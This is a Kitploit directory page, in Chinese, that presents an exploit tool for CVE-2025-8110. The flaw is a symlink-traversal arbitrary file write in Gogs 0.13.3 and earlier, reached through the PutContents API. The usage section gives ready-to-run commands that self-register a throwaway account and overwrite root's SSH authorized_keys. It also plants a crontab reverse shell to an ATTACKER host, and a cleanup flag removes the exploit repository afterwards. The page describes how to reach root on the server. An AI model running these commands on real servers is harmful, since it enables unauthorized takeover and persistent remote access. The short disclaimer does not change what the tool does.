Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-8110 — CVE-2025-8110 — Gogs <= 0.13.3 通过 PutContents API 中的符号链接遍历实现任意文件写入 | Kitploit
工具/GitHubGitHub/3jee/cve-2025-8110
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHub3jee/cve-2025-8110

CVE-2025-8110

CVE-2025-8110 — Gogs <= 0.13.3 通过 PutContents API 中的符号链接遍历实现任意文件写入

查看仓库
24个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-8110 — Gogs <= 0.13.3 通过符号链接遍历实现任意文件写入

概述

Gogs <= 0.13.3 容易受到通过 PutContents API (/api/v1/repos/:owner/:repo/contents/:path) 进行的任意文件写入攻击。

该 API 会对文件路径进行目录遍历序列 (../) 验证,但在写入之前 未 解析符号链接。已认证用户可推送一个包含指向服务器上任意文件的符号链接的提交,然后对该符号链接调用 PutContents,以攻击者控制的内容覆盖目标文件。

当 Gogs 以 root 用户运行时(Docker 及多数部署中的默认情况),这会导致系统完全沦陷。

详情值
CVECVE-2025-8110
受影响版本Gogs <= 0.13.3
类型经认证的任意文件写入 → RCE
CVSS8.8(高危)
组件PutContents API

要求

  • Python 3.10+
  • requests (pip install requests)
  • git 命令行工具
  • 一个有效的 Gogs 账号(或目标上开放了自助注册)

使用方法

root@kitploit:~
# 自助注册一次性账号 + 为 root 写入 SSH 公钥
python3 CVE-2025-8110.py --url http://target:3001 --register \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# 使用已有凭证
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# 通过 crontab 实现反弹 Shell
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /etc/crontab \
    --content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# 使用后清理漏洞利用仓库
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup

工作原理

  1. 认证 — 登录(或自助注册)并创建一个 API 令牌。
  2. 创建仓库 — 通过 Web 界面初始化一个包含 README 的新仓库。
  3. 推送符号链接 — 在本地克隆仓库,创建一个指向目标文件的符号链接(例如 /root/.ssh/authorized_keys),提交并推送。
  4. 通过符号链接写入 — 在符号链接文件名上调用 PutContents API。Gogs 在磁盘上解析该符号链接,并将攻击者内容写入真实文件,写入权限为 Gogs 进程用户(通常是 root)。

选项

root@kitploit:~
--url             Gogs 基础 URL(例如 http://target:3001)
-u, --user        Gogs 用户名
-p, --password    Gogs 密码
--register        自助注册一次性账号(无需验证码)
--target-file     服务器上要覆盖的绝对路径
--content         要写入的字符串内容
--content-file    本地文件,其内容将被写入
--repo            要创建的仓库名称(默认:随机)
--link-name       仓库中的符号链接文件名(默认:payload)
--cleanup         写入后删除漏洞利用仓库

免责声明

本工具仅用于授权的安全测试和教育目的。未经授权访问计算机系统属于违法行为。请负责任地使用。

下载工具